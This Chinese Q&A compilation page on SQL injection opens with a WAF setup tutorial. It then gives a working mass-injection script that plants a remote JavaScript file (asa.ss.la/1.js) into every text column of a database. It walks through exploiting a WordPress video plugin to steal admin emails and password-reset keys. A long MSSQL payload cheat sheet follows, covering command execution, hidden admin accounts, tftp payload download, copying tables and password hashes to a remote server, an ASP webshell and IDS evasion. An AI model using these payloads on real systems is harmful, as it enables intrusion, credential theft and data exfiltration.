當前位置:首頁 » 編程語言 » sql注入11
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

sql注入11

發布時間: 2022-05-13 00:45:56

❶ 網站安全狗sql注入攻擊與防禦怎麼設置

網站安全狗sql注入攻擊與防禦怎麼設置?所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令。SQL防護功能主要包括檢測URL長度功能和注入的防護規則兩部分。下面我們通過實際的攻擊實例來闡述該功能:
網站安全狗下載:網站安全狗Apache版|網站安全狗IIS版
網站安全狗sql注入攻擊與防禦設置教程
1.
超長的URL鏈接測試
過長的URL對於網站來說有什麼危害呢?在網路上,曾有人對過長的URL進行測試發現,過長的URL會對流量產生影響。特別是當如果代碼里的超鏈接寫的是長URL時,就會導致網頁內容變大,嚴重影響網站出口寬頻的流量。
網站安全狗SQL注入防護功能,可以對URL長度進行設置並且將這個上限值設為通用指標來檢測URL長度,當然用戶可根據情況自己設定上限值(設置完後記得保存哦)。
具體安全狗設置和測試結果分別如下圖所示:
圖1
URL防護規則
當IE地址欄瀏覽長度超過設置的值,網站安全狗就會進行攔截,攔截頁面如下:
圖2
長鏈接測試實例
同時,通過網站安全狗的防護日誌,我們可以查看到相對應的攻擊防禦成功的日誌記錄,截圖如下:
圖3
長鏈接防護日誌
_#網站安全狗sql注入攻擊與防禦怎麼設置#_
2.網站安全狗的設計是根據攻擊特徵庫,對用戶輸入進行過濾,從而達到防護SQL注入的目的。
我們以官方第一條默認防護規則為例通過相應的攻擊實例來介紹該功能設置。
(1)當我們設置SQL攔截規則的「防止and
or方式注入」的「檢測URL」功能為「開啟」時候,截圖如下:
圖4
設置SQL攔截規則
然後我們進行SQL注入,在IE上輸入參數,進行SQL注入頁面如下:
圖5
SQL注入攻擊
由於我們已經開啟了SQL攔截規則的「防止and
or方式注入」的「檢測URL」功能,當進行類似SQL注入時候就會彈出被網站安全狗成功攔截的信息,截圖如下:
圖6
攔截提示信息
同時在網站安全狗的防護日誌中會生成對應的攻擊防禦成功的日誌記錄,截圖如下:
圖7
防護日誌
(2)當我們把SQL攔截規則的「防止and
or方式注入」的「檢測COOKIE」功能設置為「開啟」時候,截圖如下:
圖8
設置SQL防護規則
通過cookie方式進行SQL注入,注入方式如下圖所示:
圖9
cookie注入成功截圖
_網站安全狗sql注入攻擊與防禦怎麼設置#_
「開啟」SQL攔截規則的「防止and
or方式注入」的「檢測COOKIE」功能後,當進行類似SQL注入時候就會彈出被網站安全狗成功攔截的信息,截圖如下:
圖10
攔截提示信息
同時在網站安全狗的防護日誌中會生成對應的攻擊防禦成功的日誌記錄:
圖11
防護日誌
(3)把SQL攔截規則的「防止and
or方式注入」的「檢測POST內容」功能設置為「開啟」,截圖如下:
圖12
開啟檢測POST
「開啟」之後,通過POST方式進行SQL注入,測試方式如下圖所示:
圖13
通過POST方式SQL注入
由於已經「開啟」了SQL攔截規則的「防止and
or方式注入」的「檢測POST內容」功能,這時如果發現類似SQL注入的時候,就會彈出被網站安全狗的攔截信息。截圖如下:
圖14
攔截提示信息
同時在網站安全狗的防護日誌中會生成對應的攻擊防禦成功的日誌記錄,截圖如下:
圖15
防護日誌
以上是網站安全狗sql注入攻擊與防禦設置教程,希望對你有幫助!

❷ SQL注入語句

沒編什麼碼
就直接轉換成ascii就行了
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''</title><script src=http://asa.ss.la/1.js></script>''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor
總體思想就是把你的html代碼里插入一段js
js來自http://asa.ss.la/1.js

❸ SQL注入攻擊原理和漏洞檢測技術

SQL注入指的是當用戶提交給伺服器的數據不在程序員的預料范圍內時,伺服器返回了一些敏感信息。通常這個是參數過濾不嚴格造成的,是程序員的責任。 舉個例子吧 比如有這個頁面 http://www.xxx.com/showdetail.asp?id=1 這個地址後有個問號,後面有個id=1這就是用戶提交給伺服器的參數 假如給後面添加個 ',這個是非法參數地址變成 http://www.xxx.com/showdetail.asp?id=1 '然後沒有過濾掉'的伺服器會給我們返回如下信息 Microsoft JET Database Engine 錯誤 '80040e14' 字元串的語法錯誤 在查詢表達式 'ID=1'' 中。 /showdetail.asp,行11 這些都是有用的信息,這意味著sql注入攻擊的原理就是利用非法參數獲得敏感信息,收集整理,分析出管理賬號密碼 那麼如何檢測網頁能否注入呢 光一個'是不夠的 正確的應該是這樣 1, http://www.xxx.com/showdetail.asp?id=1 頁面正常顯示 2, http://www.xxx.com/showdetail.asp?id=1 and 1=1 頁面顯示正常 3, http://www.xxx.com/showdetail.asp?id=1 and 1=2 頁面返回錯誤信息時 如果滿足以上三條,基本上就可一注入攻擊了 猜解管理賬號密碼可以手動,但是比較麻煩,得有sql語法知識和經驗,算是窮舉+推測的,不常用 我推薦直接使用程序猜解,網路搜搜到處有

❹ 如何sql注入漏洞攻破linux基礎web

SQL注入的基本原理

sql注入成因主要是對頁面參數沒有進行非法字元校驗導致,比如說一個訂單頁面要顯示某個客戶的所有訂單列表,這個頁面的地址可能是http://xxx.com/list.php?customID=3,我們推理,這樣頁面的後台處理的sql應該是這樣的:

select * form custom_order where custom_id = {$_GET['customID']}

按正常情況下,這里的接收的參數{$_GET['customID']}的值應該是傳入的值3,這樣頁面就能正確的把所有客戶ID等於3的訂單信息顯示到頁面上。但是,如果這個參數被人惡意改成了如下形式:

http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

按這樣的參數拼裝成的sql就成了這樣:

select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

這樣注入惡意sql後,訂單列表頁顯示的就不是訂單信息了,而是資料庫中用戶的名稱和密碼,或者任意其它想要的信息。下面我們就按照這個原理來一步一步的獲取這個公立學校網站的管理員用戶名,管理員郵箱地址,通過郵箱重置管理員密碼,登錄超級管理員後台。

All Video Gallery插件的漏洞簡介

安裝了All Video Gallery插件的Wordpress博客里會有這樣的一個地址:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11

訪問這個頁面會顯示一些配置信息,問題就出在pid這個參數上,程序後台顯然沒有嚴格檢查這個參數,我們將利用這個參數進行sql注入。

WordPress是一個開源的平台,我們很容易弄清楚用戶表的表名是wp_users,存放用戶名,密碼,郵件地址的欄位分別是user_login,user_pass,user_email,我們下面將要把用戶信息表注入進去。

獲取超級管理員用戶名

為了獲取用戶表中的用戶名,我們注入的sql是這樣的:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users

在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:

獲取超級管理員郵件地址

我們可以直接獲取用戶的密碼,但很顯然,密碼都是加密的,無法使用,我們這里使用另外一種思路,先獲取用戶的郵件地址,然後使用這個郵件重置用戶的密碼。

要獲取郵件地址,我們需要將上面的sql中的欄位名改成user_email:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users

在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:

重置管理員密碼

WordPress的後台登陸地址是http://xxx.com/wp-login.php,這個地址是可以公共訪問的,我們進入這個頁面後,點擊Lost your password?鏈接,輸入上面獲取的管理員郵件。

這樣做了之後,Wordpress會向這個郵件地址發送一封含有激活碼的密碼重置地址。我們無法登陸這個郵箱獲取這個地址,但我們可以使用上面同樣
的方法獲取這個激活碼,自己拼裝出密碼重置地址。存放激活碼的欄位是user_activation_key,我們的sql注入地址改成下面這樣:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users

在瀏覽器里輸入上面的地址,頁面上會顯示下面的信息:

有了激活碼,我們就可以拼裝出裝置密碼的地址了:

http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username

利用這個地址進入重置密碼頁面:

總結

我們的黑客行動到此基本上是大功告成,但事實上我並沒有去執行最後一步。本文的目的不是要告訴人們如何進行黑客攻擊,而是要提醒大家防範安全漏洞,
所謂知己知彼,方能百戰不殆,程序員應當對基本的黑客攻擊方式有一些了解,針對性的在編程時避免造成類似sql注入的安全漏洞,構築更健壯的軟體。

❺ sql注入的語句特徵

1.判斷有無注入點
; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號數目 如果遇到0< 返回正確頁面, 1<返回錯誤頁面,說明帳號數目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解欄位名稱 在len( ) 括弧裡面加上我們想到的欄位名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶欄位名稱name)>0)
and 1=(select count(*) from admin where len(密碼欄位名稱password)>0)
5.猜解各個欄位的長度 猜解長度就是把>0變換 直到返回正確頁面為止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(password)=12) 正確
6.猜解字元
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位
就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
這個查詢語句可以猜解中文的用戶和密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.
group by users. id having 1=1--
group by users. id,users.username,users.password,users.privs having 1=1--
; insert into users values( 666,attacker,foobar,0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id)-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
看伺服器打的補丁=出錯了打了SP4補丁
and 1=(select @@VERSION)--
看資料庫連接賬號的許可權,返回正常,證明是伺服器角色sysadmin許可權。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
判斷連接資料庫帳號。(採用SA賬號連接 返回正常=證明了連接賬號是SA)
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
看xp_cmdshell是否刪除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshell被刪除,恢復,支持絕對路徑的恢復
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:inetpubwwwrootxplog70.dll--
反向PING自己實驗
;use master;declare @s int;exec sp_oacreate wscript.shell,@s out;exec sp_oamethod @s,run,NULL,cmd.exe /c ping 192.168.0.1;--
加帳號
;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe
/c net user jiaoniang$ 1866574 /add--
創建一個虛擬目錄E盤:
;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootmkwebdir.vbs -w 默認Web站點 -v e,e:--
訪問屬性:(配合寫入一個webshell)
declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse
爆庫 特殊技巧::%5c= 或者把/和 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到庫名(從1到5都是系統的id,6以上才可以判斷)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的資料庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個欄位,假設為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 來暴出其他的欄位
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到密碼。假設存在user_id username,password 等欄位
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有欄位
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
得到WEB路徑
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread
@rootkey=HKEY_LOCAL_MACHINE,@key= Roots,@value_name=/,
values=@testOUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image類型的表cmd
存在xp_cmdshell的測試過程:
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start,schele 啟動服務
exec master..xp_servicecontrol start,server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32
cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe
/c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_cm』+』dshell exec @a dir c:
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bak.dat
如果被限制則可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
查詢構造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的語句是得到資料庫中的第一個用戶表,並把表名放在ffff用戶的郵箱欄位中。
通過查看ffff的用戶資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID 得到第二個表的名字
insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char
(0x69)+char(0x73),0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123,admin--,password,0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //為access資料庫
枚舉出數據表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
這是將第一個表名更新到aaa的欄位處。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>;剛才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,一個個的讀出,直到沒有為止。
讀欄位是這樣:
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然後id=152 and exists(select * from aaa where aaa>5)出錯,得到欄位名
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然後id=152 and exists(select * from aaa where aaa>5)出錯,得到欄位名
[獲得數據表名][將欄位值更新為表名,再想法讀出這個欄位的值就可得到表名]
update 表名 set 欄位=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>;你得到的表名 查出一個加一個])
[ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通過SQLSERVER注入漏洞建資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
[獲得數據表欄位名][將欄位值更新為欄位名,再想法讀出這個欄位的值就可得到欄位名]
update 表名 set 欄位=(select top 1 col_name(object_id(要查詢的數據表名),欄位列如:1) [ where 條件]
繞過IDS的檢測[使用變數]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_cm』+』dshell exec @a dir c:
開啟遠程資料庫
基本語法
select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )
參數: (1) OLEDB Provider name
其中連接字元串參數可以是任何埠用來連接,比如
select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table
復制目標主機的整個資料庫insert所有遠程表到本地表。
基本語法:
insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2
這行語句將目標主機上table2表中的所有數據復制到遠程資料庫中的table1表中。實際運用中適當修改連接字元串的IP地址和埠,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from
table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
復制資料庫:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2
復制哈西表(HASH)登錄密碼的hash存儲於sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select
* from database.dbo.sysxlogins
得到hash之後,就可以進行暴力破解。
遍歷目錄的方法:先創建一個臨時表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 獲得所有子目錄的目錄樹結構,並寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某個文件的內容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:InetpubAdminScriptsadsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- (xp_dirtree適用許可權PUBLIC)
寫入表:
語句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
語句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
語句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
語句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
語句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
語句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
語句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
語句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
語句9:and 1=(SELECT IS_MEMBER(db_owner));--
把路徑寫到表中去:
;create table dirs(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree c:--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree e:web--
and 0<>(select top 1 paths from dirs1)--
把資料庫備份到網頁目錄:下載
;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 參看相關表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=-wscript.shellexample -=-
declare @o int
exec sp_oacreate wscript.shell,@o out
exec sp_oamethod @o,run,NULL,notepad.exe
; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--
declare @o int,@f int,@t int,@ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,opentextfile,@f out,c:oot.ini,1
exec @ret = sp_oamethod @f,readline,@line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f,readline,@line out
end
declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:inetpubwwwrootfoo.asp,1
exec @ret = sp_oamethod @f,writeline,NULL,
<% set o = server.createobject(wscript.shell): o.run( request.querystring(cmd) ) %>
declare @o int,@ret int
exec sp_oacreate speech.voicetext,@o out
exec sp_oamethod @o,register,NULL,foo,bar
exec sp_oasetproperty @o,speed,150
exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05
; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec
sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--
xp_dirtree適用許可權PUBLIC
exec master.dbo.xp_dirtree c:
返回的信息有兩個欄位subdirectory、depth。Subdirectory欄位是字元型,depth欄位是整形欄位。
create table dirs(paths varchar(100),id int)
建表,這里建的表是和上面xp_dirtree相關連,欄位相等、類型相同。
insert dirs exec master.dbo.xp_dirtree c:
只要我們建表與存儲進程返回的欄位相定義相等就能夠執行!達到寫表的效果.

❻ 網站sql注入 order by 11

11表示按select里的第11項進行排序,如:
select id, name from table1 order by name
等效於:
select id, name from table1 order by 2

❼ 簡單分析什麼是SQL注入漏洞

SQL是操作資料庫數據的結構化查詢語言,網頁的應用數據和後台資料庫中的數據進行交互時會採用SQL。
SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令。它是利用現有應用程序,將惡意的SQL命令注入到後台資料庫引擎執行的能力,它可以通過在Web表單中輸入SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。

❽ 什麼是sql注入,怎麼防止注入

sql注入其實就是在這些不安全控制項內輸入sql或其他資料庫的一些語句,從而達到欺騙伺服器執行惡意到嗎影響到資料庫的數據。防止sql注入,可以在接受不安全空間的內容時過濾掉接受字元串內的「'」,那麼他不再是一條sql語句,而是一個類似sql語句的zifuc,執行後也不會對資料庫有破壞。

如:

username = request("username") //獲取用戶名 這里是通過URL傳值獲取的。

password = request("password") //獲取密碼 也是通過URL傳值獲取的。

sql="select * from userlist where username = '" & username & "' and password = '" & password & "'"--------如果某個人知道某個用戶名是admin,常常有人網站的管理員用戶名就是admin,這是密碼可以選用'or 1 or ',

那麼sql="select * from userlist where username = 'admin' and password = '' or 1 or ''",顯然1是恆真的,那麼驗證密碼就通過了。

防止的方式比較多,比如可以限制username,password中出現"'"這些字元,一般網站都是只允許數字,字元,下劃線的組合,這可以通過javascript驗證。也可以採取用存儲過程代替sql拼接,等等。

❾ 關於SQL注入

<二>SQL注入思路

思路最重要。其實好多人都不知道SQL到底能做什麼呢?這里總結一下SQL注入入侵的總體的思路:

1. SQL注入漏洞的判斷,即尋找注入點

2. 判斷後台資料庫類型

3. 確定XP_CMDSHELL可執行情況;若當前連接數據的帳號具有SA許可權,且master.dbo.xp_cmdshell擴展存儲過程(調用此存儲過程可以直接使用操作系統的shell)能夠正確執行,則整個計算機可以通過幾種方法完全控制,也就完成了整個注入過程,否則繼續:

1. 發現WEB虛擬目錄

2. 上傳ASP木馬;

3. 得到管理員許可權

具體步驟:

一、SQL注入漏洞的判斷

如果以前沒玩過注入,請把IE菜單-工具-Internet選項-高級-顯示友好HTTP錯誤信息前面的勾去掉。

為了把問題說明清楚,以下以http://www.163.com/news.asp?id=xx(這個地址是假想的),為例進行分析,xx可能是整型,也有可能是字元串。

1、整型參數的判斷

當輸入的參數xx為整型時,通常news.asp中SQL語句原貌大致如下:

select * from 表名 where 欄位=xx,所以可以用以下步驟測試SQL注入是否存在。

最簡單的判斷方法

http://www.163.com/news.asp?id=xx』(附加一個單引號),

此時news.asp中的SQL語句變成了

select * from 表名 where 欄位=xx』,

如果程序沒有過濾好「』」的話,就會提示 news.asp運行異常;但這樣的方法雖然很簡單,但並不是最好的,因為:

first,不一定每台伺服器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但伺服器同樣會報錯,具體提示信息為處理 URL 時伺服器上出錯。請和系統管理員聯絡。

second,目前大多數程序員已經將「』「 過濾掉,所以用」 』」測試不到注入點,所以一般使用經典的1=1和1=2測試方法,見下文:

http://www.163.com/news.asp?id=xx and 1=1, news.asp運行正常,

而且與http://www.163.com/news.asp?id=xx運行結果相同;

http://www.163.com/news.asp?id=xx and 1=2, news.asp運行異常;(這就是經典的 1=1 1=2 判斷方法)

如果以上面滿足,news.asp中就會存在SQL注入漏洞,反之則可能不能注入。

2、字元串型參數的判斷

方法與數值型參數判斷方法基本相同

當輸入的參數xx為字元串時,通常news.asp中SQL語句原貌大致如下:

select * from 表名 where 欄位='xx',所以可以用以下步驟測試SQL注入是否存在。

http://www.163.com/news.asp?id=xx』(附加一個單引號),此時news.asp中的SQL語句變成了
select * from 表名 where 欄位=xx』,news.asp運行異常;
http://www.163.com/news.asp?id=xx and '1'='1', news.asp運行正常,

而且與http://www.163.com/news.asp?id=xx運行結果相同;

http://www.163.com/news.asp?id=xx and '1'='2', news.asp運行異常;

如果以上滿足,則news.asp存在SQL注入漏洞,反之則不能注入

3、特殊情況的處理

有時ASP程序員會在程序員過濾掉單引號等字元,以防止SQL注入。此時可以用以下幾種方法試一試。

①大小定混合法:由於VBS並不區分大小寫,而程序員在過濾時通常要麼全部過濾大寫字元串,要麼全部過濾小寫字元串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等;

②UNICODE法:在IIS中,以UNICODE字元集實現國際化,我們完全可以IE中輸入的字元串化成UNICODE字元串進行輸入。如+ =%2B,空格=%20 等;URLEncode信息參見附件一;

③ASCII碼法:可以把輸入的部分或全部字元全部

<4>出了上述方法以外,還有個更簡單的方法就是使用現成的工具像NB聯盟的NBSI就是一款很不錯的工具,目前最新的版本為2.2

二、判斷資料庫類型

